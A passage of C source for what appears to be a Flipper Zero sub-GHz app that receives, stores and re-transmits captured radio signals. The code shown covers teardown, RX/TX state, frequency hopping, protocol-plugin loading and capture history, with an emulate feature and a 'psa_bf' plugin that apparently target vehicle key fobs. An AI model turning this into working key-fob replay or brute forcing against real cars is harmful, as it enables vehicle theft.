gdr_radio_deinit(app);
if(app->loaded_file_path) {
FURI_LOG_D(TAG, "Freeing loaded_file_path");
furi_string_free(app->loaded_file_path);
app->loaded_file_path = NULL;
}
// Submenu
if(app->submenu) {
FURI_LOG_D(TAG, "Removing submenu view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewSubmenu);
submenu_free(app->submenu);
}
// Variable Item List
if(app->variable_item_list) {
FURI_LOG_D(TAG, "Removing variable_item_list view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewVariableItemList);
variable_item_list_free(app->variable_item_list);
}
// About View
if(app->view_about) {
FURI_LOG_D(TAG, "Removing about view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewAbout);
view_free(app->view_about);
}
// File path
if(app->file_path) {
FURI_LOG_D(TAG, "Freeing file_path");
furi_string_free(app->file_path);
}
// Widget
if(app->widget) {
FURI_LOG_D(TAG, "Removing widget view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewWidget);
widget_free(app->widget);
}
// Text Input
if(app->text_input) {
FURI_LOG_D(TAG, "Removing text_input view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewTextInput);
text_input_free(app->text_input);
}
if(app->save_protocol) {
furi_string_free(app->save_protocol);
app->save_protocol = NULL;
}
// Receiver
if(app->gdr_receiver) {
FURI_LOG_D(TAG, "Removing receiver view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewReceiver);
gdr_view_receiver_free(app->gdr_receiver);
}
#ifdef ENABLE_DUAL_RX_SCENE
bool dual_devices_initialized = app->dual_chain_a || app->dual_chain_b;
if(app->dual_chain_a) {
gdr_rx_chain_free(app->dual_chain_a);
app->dual_chain_a = NULL;
}
if(app->dual_chain_b) {
gdr_rx_chain_free(app->dual_chain_b);
app->dual_chain_b = NULL;
}
if(dual_devices_initialized) {
subghz_devices_deinit();
}
if(app->dual_receiver) {
FURI_LOG_D(TAG, "Removing dual receiver view");
view_dispatcher_remove_view(app->view_dispatcher, GDRViewDualReceiver);
gdr_view_dual_receiver_free(app->dual_receiver);
app->dual_receiver = NULL;
}
if(app->dual_history) {
if(app->selected_capture.history == app->dual_history) {
gdr_selected_capture_clear(app);
}
gdr_history_free(app->dual_history);
app->dual_history = NULL;
}
if(app->dual_history_mutex) {
furi_mutex_free(app->dual_history_mutex);
app->dual_history_mutex = NULL;
}
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
bool shield_devices_initialized = app->shield_rx_chain || app->shield_tx_chain;
if(app->shield_rx_chain) {
gdr_rx_chain_free(app->shield_rx_chain);
app->shield_rx_chain = NULL;
}
if(app->shield_tx_chain) {
gdr_tx_chain_free(app->shield_tx_chain);
app->shield_tx_chain = NULL;
}
if(shield_devices_initialized) {
subghz_devices_deinit();
}
if(app->shield_history) {
if(app->selected_capture.history == app->shield_history) {
gdr_selected_capture_clear(app);
}
gdr_history_free(app->shield_history);
app->shield_history = NULL;
}
if(app->shield_history_mutex) {
furi_mutex_free(app->shield_history_mutex);
app->shield_history_mutex = NULL;
}
#endif
gdr_psa_bf_context_release(app);
// Setting
FURI_LOG_D(TAG, "Freeing subghz_setting");
subghz_setting_free(app->setting);
// Free preset
FURI_LOG_D(TAG, "Freeing preset");
furi_string_free(app->txrx->preset->name);
free(app->txrx->preset);
free(app->txrx);
#ifdef ENABLE_EMULATE_FEATURE
gdr_emulate_context_release(app);
#endif
pp_shared_upload_release();
// View dispatcher
FURI_LOG_D(TAG, "Freeing view_dispatcher and scene_manager");
view_dispatcher_free(app->view_dispatcher);
scene_manager_free(app->scene_manager);
// Close Dialogs
FURI_LOG_D(TAG, "Closing dialogs record");
furi_record_close(RECORD_DIALOGS);
app->dialogs = NULL;
// Notifications
FURI_LOG_D(TAG, "Closing notifications record");
furi_record_close(RECORD_NOTIFICATION);
app->notifications = NULL;
// Close records
FURI_LOG_D(TAG, "Closing GUI record");
furi_record_close(RECORD_GUI);
FURI_LOG_I(TAG, "App free complete");
free(app);
}
int32_t gdr_app(char* p) {
furi_hal_power_suppress_charge_enter();
GDRApp* gdr_app = gdr_app_alloc();
if(!gdr_app) {
// logging is already done in gdr_app_alloc()
furi_hal_power_suppress_charge_exit();
return -1;
}
// Handle Command line PSF that may have been passed to us
bool load_saved = (p && strlen(p));
if(load_saved) gdr_app->loaded_file_path = furi_string_alloc_set(p);
scene_manager_next_scene(
gdr_app->scene_manager,
(load_saved) ? GDRSceneSavedInfo : GDRSceneStart);
//We now jump straight to emulate scene from Browser. If the user wanted the key to look at, just click back.
if(load_saved) {
if(gdr_app->emulate_feature_enabled) {
view_dispatcher_send_custom_event(
gdr_app->view_dispatcher, GDRCustomEventSavedInfoEmulate);
notification_message(gdr_app->notifications, &sequence_success);
} else {
view_dispatcher_send_custom_event(
gdr_app->view_dispatcher, GDRCustomEventReceiverInfoSave);
}
}
view_dispatcher_run(gdr_app->view_dispatcher);
gdr_app_free(gdr_app);
furi_hal_power_suppress_charge_exit();
return 0;
}
@@ -0,0 +1,569 @@
// gdr_app_i.c
#include "gdr_app_i.h"
#include "protocols/protocol_items.h"
#include <loader/firmware_api/firmware_api.h>
#include <stdio.h>
#define TAG "GDRTxRx"
void gdr_selected_capture_set(
GDRApp* app,
GDRHistory* history,
FuriMutex* mutex,
uint16_t index,
GDRCaptureOwner owner) {
furi_check(app);
app->selected_capture.history = history;
app->selected_capture.mutex = mutex;
app->selected_capture.index = index;
app->selected_capture.owner = owner;
}
void gdr_selected_capture_clear(GDRApp* app) {
furi_check(app);
memset(&app->selected_capture, 0, sizeof(app->selected_capture));
}
bool gdr_selected_capture_is_valid(GDRApp* app) {
furi_check(app);
GDRSelectedCapture* selected = &app->selected_capture;
if(!selected->history || selected->owner == GDRCaptureOwnerNone) {
return false;
}
if(selected->mutex) {
furi_mutex_acquire(selected->mutex, FuriWaitForever);
}
bool valid = selected->index < gdr_history_get_item(selected->history);
if(selected->mutex) {
furi_mutex_release(selected->mutex);
}
return valid;
}
GDRHistory* gdr_selected_capture_get_history(GDRApp* app) {
return gdr_selected_capture_is_valid(app) ? app->selected_capture.history : NULL;
}
uint16_t gdr_selected_capture_get_index(GDRApp* app) {
furi_check(app);
return app->selected_capture.index;
}
GDRHistorySource gdr_selected_capture_get_source(GDRApp* app) {
GDRHistory* history = gdr_selected_capture_get_history(app);
if(!history) {
return GDRHistorySourceUnknown;
}
return gdr_history_get_source(history, app->selected_capture.index);
}
FlipperFormat* gdr_selected_capture_get_raw_data(GDRApp* app) {
GDRHistory* history = gdr_selected_capture_get_history(app);
if(!history) {
return NULL;
}
return gdr_history_get_raw_data(history, app->selected_capture.index);
}
bool gdr_selected_capture_get_path(GDRApp* app, FuriString* out_path) {
furi_check(out_path);
GDRHistory* history = gdr_selected_capture_get_history(app);
if(!history) {
return false;
}
return gdr_history_get_capture_path(history, app->selected_capture.index, out_path);
}
void gdr_selected_capture_release_scratch(GDRApp* app) {
furi_check(app);
if(app->selected_capture.history) {
gdr_history_release_scratch(app->selected_capture.history);
}
}
static const char* gdr_get_registry_plugin_path(GDRProtocolRegistryFilter filter) {
return (filter == GDRProtocolRegistryFilterFM) ?
APP_ASSETS_PATH("plugins/gdr_fm_plugin.fal") :
APP_ASSETS_PATH("plugins/gdr_am_plugin.fal");
}
static void gdr_unload_protocol_plugin(GDRTxRx* txrx) {
furi_check(txrx);
txrx->protocol_plugin = NULL;
txrx->protocol_registry = NULL;
if(txrx->protocol_plugin_manager) {
plugin_manager_free(txrx->protocol_plugin_manager);
txrx->protocol_plugin_manager = NULL;
}
if(txrx->plugin_resolver) {
composite_api_resolver_free(txrx->plugin_resolver);
txrx->plugin_resolver = NULL;
}
}
static void gdr_teardown_receiver_stack_for_registry_switch(GDRApp* app) {
furi_check(app);
furi_check(app->txrx);
if(app->txrx->txrx_state == GDRTxRxStateRx) {
gdr_rx_end(app);
}
if(app->txrx->receiver) {
subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, NULL);
subghz_receiver_free(app->txrx->receiver);
app->txrx->receiver = NULL;
}
if(app->txrx->worker) {
if(subghz_worker_is_running(app->txrx->worker)) {
subghz_worker_stop(app->txrx->worker);
}
subghz_worker_free(app->txrx->worker);
app->txrx->worker = NULL;
}
if(app->txrx->radio_device && app->txrx->txrx_state != GDRTxRxStateTx) {
subghz_devices_idle(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
}
static bool gdr_ensure_protocol_registry_plugin(
GDRApp* app,
GDRProtocolRegistryFilter filter,
const SubGhzProtocolRegistry** registry) {
furi_check(app);
furi_check(app->txrx);
furi_check(registry);
*registry = NULL;
if(!app->txrx->environment) {
FURI_LOG_E(TAG, "Cannot load protocol plugin without radio environment");
return false;
}
if(app->txrx->protocol_plugin && app->txrx->protocol_plugin->registry &&
app->txrx->protocol_registry_filter == filter) {
*registry = app->txrx->protocol_plugin->registry;
return true;
}
if(app->txrx->protocol_plugin || app->txrx->protocol_plugin_manager ||
app->txrx->plugin_resolver) {
gdr_unload_protocol_plugin(app->txrx);
}
CompositeApiResolver* resolver = composite_api_resolver_alloc();
if(!resolver) {
FURI_LOG_E(TAG, "Failed to allocate protocol plugin resolver");
return false;
}
composite_api_resolver_add(resolver, firmware_api_interface);
PluginManager* manager = plugin_manager_alloc(
GDR_PROTOCOL_PLUGIN_APP_ID,
GDR_PROTOCOL_PLUGIN_API_VERSION,
composite_api_resolver_get(resolver));
if(!manager) {
FURI_LOG_E(TAG, "Failed to allocate protocol plugin manager");
composite_api_resolver_free(resolver);
return false;
}
const char* plugin_path = gdr_get_registry_plugin_path(filter);
PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
if(error != PluginManagerErrorNone) {
FURI_LOG_E(TAG, "Failed to load protocol plugin %s: %d", plugin_path, (int)error);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
const GDRProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
if(!plugin || !plugin->registry) {
FURI_LOG_E(TAG, "Protocol plugin entry point is invalid");
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
if(plugin->filter != filter) {
FURI_LOG_E(
TAG, "Protocol plugin filter mismatch (expected %d got %d)", filter, plugin->filter);
plugin_manager_free(manager);
composite_api_resolver_free(resolver);
return false;
}
app->txrx->plugin_resolver = resolver;
app->txrx->protocol_plugin_manager = manager;
app->txrx->protocol_plugin = plugin;
app->txrx->protocol_registry_filter = filter;
*registry = plugin->registry;
return true;
}
bool gdr_refresh_protocol_registry(GDRApp* app, bool ensure_receiver_ready) {
furi_check(app);
furi_check(app->txrx);
if(!app->txrx->environment || !app->txrx->preset) {
return true;
}
GDRProtocolRegistryFilter filter = gdr_get_protocol_registry_filter_for_preset(
app->txrx->preset->data, app->txrx->preset->data_size);
bool filter_changed = !app->txrx->protocol_plugin ||
(app->txrx->protocol_registry_filter != filter);
if(filter_changed) {
gdr_teardown_receiver_stack_for_registry_switch(app);
} else if(ensure_receiver_ready && !app->txrx->receiver) {
gdr_teardown_receiver_stack_for_registry_switch(app);
}
const SubGhzProtocolRegistry* registry = NULL;
if(!gdr_ensure_protocol_registry_plugin(app, filter, &registry) || !registry) {
FURI_LOG_E(
TAG,
"Failed to resolve %s protocol registry plugin",
gdr_get_protocol_registry_filter_name(filter));
return false;
}
const bool registry_already_bound = (app->txrx->protocol_registry == registry);
if(!registry_already_bound) {
FURI_LOG_I(
TAG,
"Using %s protocol registry (%zu protocols)",
gdr_get_protocol_registry_filter_name(filter),
registry->size);
subghz_environment_set_protocol_registry(app->txrx->environment, registry);
app->txrx->protocol_registry = registry;
}
if(!ensure_receiver_ready) {
return true;
}
if(app->txrx->receiver) {
return true;
}
app->txrx->receiver = subghz_receiver_alloc_init(app->txrx->environment);
if(!app->txrx->receiver) {
FURI_LOG_E(
TAG,
"Failed to allocate receiver for %s registry",
gdr_get_protocol_registry_filter_name(filter));
return false;
}
subghz_receiver_set_filter(app->txrx->receiver, SubGhzProtocolFlag_Decodable);
return true;
}
bool gdr_apply_protocol_registry_for_preset_data(
GDRApp* app,
const uint8_t* preset_data,
size_t preset_data_size) {
furi_check(app);
furi_check(app->txrx);
if(!app->txrx->environment) {
return false;
}
GDRProtocolRegistryFilter filter =
gdr_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
bool filter_changed = !app->txrx->protocol_plugin ||
(app->txrx->protocol_registry_filter != filter);
if(filter_changed) {
gdr_teardown_receiver_stack_for_registry_switch(app);
}
const SubGhzProtocolRegistry* registry = NULL;
if(!gdr_ensure_protocol_registry_plugin(app, filter, &registry) || !registry) {
FURI_LOG_E(
TAG,
"Failed to resolve %s registry plugin for preset apply",
gdr_get_protocol_registry_filter_name(filter));
return false;
}
if(app->txrx->protocol_registry == registry) {
return true;
}
FURI_LOG_I(
TAG,
"Switching active protocol registry to %s (%zu protocols)",
gdr_get_protocol_registry_filter_name(filter),
registry->size);
subghz_environment_set_protocol_registry(app->txrx->environment, registry);
app->txrx->protocol_registry = registry;
return true;
}
void gdr_preset_init(
void* context,
const char* preset_name,
uint32_t frequency,
uint8_t* preset_data,
size_t preset_data_size) {
furi_check(context);
GDRApp* app = context;
furi_string_set(app->txrx->preset->name, preset_name);
app->txrx->preset->frequency = frequency;
app->txrx->preset->data = preset_data;
app->txrx->preset->data_size = preset_data_size;
}
void gdr_get_frequency_modulation_str(
GDRApp* app,
char* frequency,
size_t frequency_size,
char* modulation,
size_t modulation_size) {
furi_check(app);
if(frequency && frequency_size > 0) {
unsigned long mhz = (unsigned long)((app->txrx->preset->frequency / 1000000UL) % 1000UL);
unsigned long khz = (unsigned long)((app->txrx->preset->frequency / 10000UL) % 100UL);
snprintf(frequency, frequency_size, "%03lu.%02lu", mhz, khz);
}
if(modulation && modulation_size > 0) {
snprintf(
modulation, modulation_size, "%.2s", furi_string_get_cstr(app->txrx->preset->name));
}
}
void gdr_get_frequency_modulation(
GDRApp* app,
FuriString* frequency,
FuriString* modulation) {
furi_check(app);
char frequency_buf[16] = {0};
char modulation_buf[8] = {0};
gdr_get_frequency_modulation_str(
app, frequency_buf, sizeof(frequency_buf), modulation_buf, sizeof(modulation_buf));
if(frequency != NULL) {
furi_string_set_str(frequency, frequency_buf);
}
if(modulation != NULL) {
furi_string_set_str(modulation, modulation_buf);
}
}
void gdr_begin(GDRApp* app, uint8_t* preset_data) {
furi_check(app);
if(!app->txrx->radio_device) {
FURI_LOG_W(TAG, "begin requested without radio device");
app->txrx->txrx_state = GDRTxRxStateIDLE;
return;
}
subghz_devices_reset(app->txrx->radio_device);
subghz_devices_idle(app->txrx->radio_device);
subghz_devices_load_preset(app->txrx->radio_device, FuriHalSubGhzPresetCustom, preset_data);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
uint32_t gdr_rx(GDRApp* app, uint32_t frequency) {
furi_check(app);
furi_check(app->txrx);
if(!app->radio_initialized || !app->txrx->radio_device || !app->txrx->worker) {
FURI_LOG_E(
TAG,
"RX start rejected (radio_initialized=%d, radio=%p, worker=%p)",
app->radio_initialized,
app->txrx->radio_device,
app->txrx->worker);
app->txrx->txrx_state = GDRTxRxStateIDLE;
return 0;
}
if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) {
furi_crash("GDR: Incorrect RX frequency.");
}
if(app->txrx->txrx_state == GDRTxRxStateRx ||
app->txrx->txrx_state == GDRTxRxStateSleep) {
FURI_LOG_W(TAG, "RX start ignored in state %d", app->txrx->txrx_state);
return app->txrx->preset ? app->txrx->preset->frequency : 0;
}
subghz_devices_idle(app->txrx->radio_device);
uint32_t value = subghz_devices_set_frequency(app->txrx->radio_device, frequency);
subghz_devices_flush_rx(app->txrx->radio_device);
subghz_devices_set_rx(app->txrx->radio_device);
subghz_devices_start_async_rx(
app->txrx->radio_device, subghz_worker_rx_callback, app->txrx->worker);
subghz_worker_start(app->txrx->worker);
app->txrx->txrx_state = GDRTxRxStateRx;
return value;
}
void gdr_idle(GDRApp* app) {
furi_check(app);
furi_check(app->txrx->txrx_state != GDRTxRxStateSleep);
if(app->txrx->radio_device) {
subghz_devices_idle(app->txrx->radio_device);
} else {
FURI_LOG_W(TAG, "idle requested without radio device");
}
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
void gdr_rx_end(GDRApp* app) {
furi_check(app);
if(!app->txrx || app->txrx->txrx_state != GDRTxRxStateRx) {
return;
}
if(app->txrx->worker && subghz_worker_is_running(app->txrx->worker)) {
subghz_worker_stop(app->txrx->worker);
}
if(app->txrx->radio_device) {
subghz_devices_stop_async_rx(app->txrx->radio_device);
subghz_devices_idle(app->txrx->radio_device);
}
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
void gdr_sleep(GDRApp* app) {
furi_check(app);
subghz_devices_sleep(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateSleep;
}
void gdr_release_shared_radio_state(GDRApp* app) {
furi_check(app);
furi_check(app->txrx);
if(app->gdr_receiver) {
gdr_view_receiver_reset_menu(app->gdr_receiver);
}
gdr_radio_deinit(app);
}
void gdr_rx_stack_suspend_for_tx(GDRApp* app) {
if(!app || !app->radio_initialized) {
return;
}
if(app->txrx->txrx_state == GDRTxRxStateRx) {
gdr_rx_end(app);
}
if(app->txrx->worker && subghz_worker_is_running(app->txrx->worker)) {
subghz_worker_stop(app->txrx->worker);
}
if(app->txrx->receiver) {
subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, NULL);
}
if(app->txrx->radio_device && app->txrx->txrx_state != GDRTxRxStateTx) {
subghz_devices_idle(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
}
void gdr_rx_stack_resume_after_tx(GDRApp* app) {
if(!app || !app->radio_initialized || !app->txrx->environment) {
return;
}
if(!gdr_refresh_protocol_registry(app, true)) {
FURI_LOG_E(TAG, "rx_stack_resume: failed to restore RX stack");
}
}
void gdr_hopper_update(GDRApp* app) {
furi_check(app);
switch(app->txrx->hopper_state) {
case GDRHopperStateOFF:
case GDRHopperStatePause:
return;
case GDRHopperStateRSSITimeOut:
if(app->txrx->hopper_timeout != 0) {
app->txrx->hopper_timeout--;
return;
}
break;
default:
break;
}
float rssi = -127.0f;
if(app->txrx->hopper_state != GDRHopperStateRSSITimeOut) {
rssi = subghz_devices_get_rssi(app->txrx->radio_device);
if(rssi > -90.0f) {
app->txrx->hopper_timeout = 10;
app->txrx->hopper_state = GDRHopperStateRSSITimeOut;
return;
}
} else {
app->txrx->hopper_state = GDRHopperStateRunning;
}
const size_t hopper_count = subghz_setting_get_hopper_frequency_count(app->setting);
if(hopper_count == 0) {
app->txrx->hopper_state = GDRHopperStateOFF;
app->txrx->hopper_idx_frequency = 0;
return;
}
if(app->txrx->hopper_idx_frequency < hopper_count - 1) {
app->txrx->hopper_idx_frequency++;
} else {
app->txrx->hopper_idx_frequency = 0;
}
if(app->txrx->txrx_state == GDRTxRxStateRx) {
gdr_rx_end(app);
}
if(app->txrx->txrx_state == GDRTxRxStateIDLE && app->txrx->receiver) {
subghz_receiver_reset(app->txrx->receiver);
app->txrx->preset->frequency =
subghz_setting_get_hopper_frequency(app->setting, app->txrx->hopper_idx_frequency);
gdr_rx(app, app->txrx->preset->frequency);
}
}
void gdr_tx(GDRApp* app, uint32_t frequency) {
furi_check(app);
if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) {
return;
}
furi_check(app->txrx->txrx_state == GDRTxRxStateIDLE);
subghz_devices_idle(app->txrx->radio_device);
subghz_devices_set_frequency(app->txrx->radio_device, frequency);
subghz_devices_set_tx(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateTx;
}
void gdr_tx_stop(GDRApp* app) {
furi_check(app);
furi_check(app->txrx->txrx_state == GDRTxRxStateTx);
subghz_devices_idle(app->txrx->radio_device);
app->txrx->txrx_state = GDRTxRxStateIDLE;
}
@@ -0,0 +1,237 @@
// gdr_app_i.h
#pragma once
#include <stddef.h>
#include "helpers/gdr_types.h"
#include "helpers/gdr_settings.h"
#include "scenes/gdr_scene.h"
#include "views/gdr_receiver.h"
#include "gdr_history.h"
#include "helpers/radio_device_loader.h"
#ifdef ENABLE_DUAL_RX_SCENE
#include "helpers/gdr_rx_chain.h"
#include "views/gdr_dual_receiver.h"
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
#include "helpers/gdr_rx_chain.h"
#include "helpers/gdr_tx_chain.h"
#endif
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/text_input.h>
#include <notification/notification_messages.h>
#include <lib/subghz/subghz_setting.h>
#include <lib/subghz/subghz_worker.h>
#include <lib/subghz/receiver.h>
#include <lib/subghz/transmitter.h>
#include <lib/subghz/devices/devices.h>
#include <lib/subghz/subghz_file_encoder_worker.h>
#include <lib/flipper_application/plugins/plugin_manager.h>
#include <lib/flipper_application/plugins/composite_resolver.h>
#include <dialogs/dialogs.h>
#include "defines.h"
#include "protocols/protocols_common.h"
#include "protocols/protocol_items.h"
#include "protocols/gdr_protocol_plugins.h"
#ifdef ENABLE_EMULATE_FEATURE
#include "scenes/plugins/gdr_emulate_plugin.h"
#endif
#include "scenes/plugins/gdr_psa_bf_plugin.h"
#define GDR_KEYSTORE_DIR_NAME APP_ASSETS_PATH("encrypted")
typedef struct GDRApp GDRApp;
typedef enum {
GDRCaptureOwnerNone = 0,
GDRCaptureOwnerReceiver,
GDRCaptureOwnerDualReceiver,
#ifdef ENABLE_SHIELD_RX_SCENE
GDRCaptureOwnerShieldReceiver,
#endif
GDRCaptureOwnerSubDecode,
} GDRCaptureOwner;
typedef struct {
GDRHistory* history;
FuriMutex* mutex;
uint16_t index;
GDRCaptureOwner owner;
} GDRSelectedCapture;
typedef struct {
SubGhzWorker* worker;
SubGhzEnvironment* environment;
SubGhzReceiver* receiver;
SubGhzRadioPreset* preset;
const SubGhzProtocolRegistry* protocol_registry;
CompositeApiResolver* plugin_resolver;
PluginManager* protocol_plugin_manager;
const GDRProtocolPlugin* protocol_plugin;
GDRProtocolRegistryFilter protocol_registry_filter;
GDRHistory* history;
const SubGhzDevice* radio_device;
GDRTxRxState txrx_state;
GDRHopperState hopper_state;
GDRRxKeyState rx_key_state;
uint8_t hopper_idx_frequency;
uint8_t hopper_timeout;
uint16_t idx_menu_chosen;
} GDRTxRx;
struct GDRApp {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notifications;
DialogsApp* dialogs;
VariableItemList* variable_item_list;
Submenu* submenu;
Widget* widget;
TextInput* text_input;
View* view_about;
FuriString* file_path;
GDRReceiver* gdr_receiver;
GDRTxRx* txrx;
SubGhzSetting* setting;
GDRLock lock;
FuriString* loaded_file_path;
bool auto_save;
bool radio_initialized;
GDRSettings settings;
uint32_t start_tx_time;
uint8_t tx_power;
char save_filename[64];
FuriString* save_protocol;
uint16_t save_history_idx;
bool save_from_saved_info;
bool emulate_disabled_for_loaded;
bool emulate_feature_enabled;
GDRSelectedCapture selected_capture;
GDRCaptureOwner unsaved_history_owner;
#ifdef ENABLE_EMULATE_FEATURE
#define EMULATE_NAV_NONE 0U
#define EMULATE_NAV_POP 1U
#define EMULATE_NAV_STOP_APP 2U
CompositeApiResolver* emulate_plugin_resolver;
PluginManager* emulate_plugin_manager;
const GDREmulatePlugin* emulate_plugin;
uint8_t emulate_nav_pending;
#endif
CompositeApiResolver* psa_bf_plugin_resolver;
PluginManager* psa_bf_plugin_manager;
const GDRPsaBfPlugin* psa_bf_plugin;
#ifdef ENABLE_DUAL_RX_SCENE
GDRDualReceiver* dual_receiver;
GDRRxChain* dual_chain_a;
GDRRxChain* dual_chain_b;
GDRHistory* dual_history;
FuriMutex* dual_history_mutex;
uint32_t dual_freq_a;
uint32_t dual_freq_b;
uint8_t dual_preset_a;
uint8_t dual_preset_b;
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
GDRRxChain* shield_rx_chain;
GDRTxChain* shield_tx_chain;
GDRHistory* shield_history;
FuriMutex* shield_history_mutex;
uint32_t shield_freq;
uint8_t shield_preset_index;
uint8_t shield_tx_offset_index;
uint8_t shield_tx_power;
bool shield_auto_save_failed;
#endif
};
#ifdef ENABLE_EMULATE_FEATURE
void gdr_emulate_context_release(GDRApp* app);
#endif
typedef enum {
GDRSetTypeFord_v0,
GDRSetTypeMAX,
} GDRSetType;
void gdr_preset_init(
void* context,
const char* preset_name,
uint32_t frequency,
uint8_t* preset_data,
size_t preset_data_size);
void gdr_get_frequency_modulation(
GDRApp* app,
FuriString* frequency,
FuriString* modulation);
void gdr_get_frequency_modulation_str(
GDRApp* app,
char* frequency,
size_t frequency_size,
char* modulation,
size_t modulation_size);
void gdr_begin(GDRApp* app, uint8_t* preset_data);
uint32_t gdr_rx(GDRApp* app, uint32_t frequency);
void gdr_idle(GDRApp* app);
void gdr_rx_end(GDRApp* app);
void gdr_sleep(GDRApp* app);
void gdr_hopper_update(GDRApp* app);
void gdr_tx(GDRApp* app, uint32_t frequency);
void gdr_tx_stop(GDRApp* app);
bool gdr_radio_init(GDRApp* app);
void gdr_radio_deinit(GDRApp* app);
bool gdr_refresh_protocol_registry(GDRApp* app, bool ensure_receiver_ready);
bool gdr_apply_protocol_registry_for_preset_data(
GDRApp* app,
const uint8_t* preset_data,
size_t preset_data_size);
bool gdr_ensure_variable_item_list(GDRApp* app);
bool gdr_ensure_widget(GDRApp* app);
bool gdr_ensure_text_input(GDRApp* app);
bool gdr_ensure_view_about(GDRApp* app);
bool gdr_ensure_receiver_view(GDRApp* app);
#ifdef ENABLE_DUAL_RX_SCENE
bool gdr_ensure_dual_receiver_view(GDRApp* app);
#endif
void gdr_release_shared_radio_state(GDRApp* app);
void gdr_rx_stack_suspend_for_tx(GDRApp* app);
void gdr_rx_stack_resume_after_tx(GDRApp* app);
void gdr_selected_capture_set(
GDRApp* app,
GDRHistory* history,
FuriMutex* mutex,
uint16_t index,
GDRCaptureOwner owner);
void gdr_selected_capture_clear(GDRApp* app);
bool gdr_selected_capture_is_valid(GDRApp* app);
GDRHistory* gdr_selected_capture_get_history(GDRApp* app);
uint16_t gdr_selected_capture_get_index(GDRApp* app);
GDRHistorySource gdr_selected_capture_get_source(GDRApp* app);
FlipperFormat* gdr_selected_capture_get_raw_data(GDRApp* app);
bool gdr_selected_capture_get_path(GDRApp* app, FuriString* out_path);
void gdr_selected_capture_release_scratch(GDRApp* app);
void gdr_app_free(GDRApp* app);
static const NotificationSequence sequence_tx = {
&message_note_c5,
&message_vibro_on,
&message_red_255,
&message_blue_255,
&message_blink_start_10,
&message_delay_25,
&message_vibro_off,
&message_delay_25,
&message_sound_off,
NULL,
};
@@ -0,0 +1,488 @@
// gdr_history.c
#include "gdr_history.h"
#include "helpers/gdr_storage.h"
#include <lib/subghz/receiver.h>
#include <storage/storage.h>
#include <string.h>
#include <stdio.h>
#include <furi.h>
#include "defines.h"
#define TAG "GDRHistory"
#define HISTORY_SCRATCH_TEXT_RESERVE 256U
#define HISTORY_SCRATCH_PATH_RESERVE 128U
#define HISTORY_ARENA_RESERVE 1024U
static uint32_t gdr_history_next_capture_seq = 0;
typedef struct {
uint32_t seq_id;
uint16_t text_offset;
uint16_t text_len;
uint8_t type;
GDRHistorySource source;
} GDRHistoryItem;
ARRAY_DEF(GDRHistoryItemArray, GDRHistoryItem, M_POD_OPLIST)
struct GDRHistory {
GDRHistoryItemArray_t data;
uint16_t last_index;
uint32_t last_update_timestamp[GDRHistorySourceCount];
uint8_t code_last_hash_data[GDRHistorySourceCount];
Storage* storage;
FlipperFormat* loaded_ff;
int16_t loaded_idx;
FuriString* scratch_text;
FuriString* scratch_path;
FuriString* text_arena;
};
static uint32_t gdr_history_allocate_capture_seq(void) {
uint32_t tick_seed = (uint32_t)(furi_get_tick() & 0x0FFFFFFF);
if(tick_seed == 0) {
tick_seed = 1;
}
FURI_CRITICAL_ENTER();
if(gdr_history_next_capture_seq == 0 ||
gdr_history_next_capture_seq < tick_seed) {
gdr_history_next_capture_seq = tick_seed;
}
uint32_t seq = gdr_history_next_capture_seq++;
if(gdr_history_next_capture_seq == 0) {
gdr_history_next_capture_seq = 1;
}
FURI_CRITICAL_EXIT();
return seq;
}
void gdr_history_release_scratch(GDRHistory* instance) {
furi_check(instance);
if(instance->loaded_ff) {
flipper_format_free(instance->loaded_ff);
instance->loaded_ff = NULL;
}
instance->loaded_idx = -1;
}
static void
gdr_history_build_path(GDRHistory* instance, uint32_t seq_id, FuriString* out) {
UNUSED(instance);
gdr_storage_build_history_path(seq_id, out);
}
static void
gdr_history_delete_capture_file(GDRHistory* instance, uint32_t seq_id) {
gdr_history_build_path(instance, seq_id, instance->scratch_path);
gdr_storage_delete_file(furi_string_get_cstr(instance->scratch_path));
}
static void gdr_history_delete_all_capture_files(GDRHistory* instance) {
size_t item_count = GDRHistoryItemArray_size(instance->data);
for(size_t i = 0; i < item_count; i++) {
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, i);
gdr_history_delete_capture_file(instance, item->seq_id);
}
}
static void
gdr_history_arena_remove(GDRHistory* instance, uint16_t offset, uint16_t len) {
if(len == 0) return;
size_t arena_size = furi_string_size(instance->text_arena);
furi_check((size_t)offset + (size_t)len <= arena_size);
const char* arena = furi_string_get_cstr(instance->text_arena);
FuriString* rebuilt = furi_string_alloc();
furi_check(rebuilt);
furi_string_reserve(rebuilt, arena_size);
furi_string_set_strn(rebuilt, arena, offset);
furi_string_cat_str(rebuilt, arena + offset + len);
furi_string_move(instance->text_arena, rebuilt);
size_t n = GDRHistoryItemArray_size(instance->data);
for(size_t i = 0; i < n; i++) {
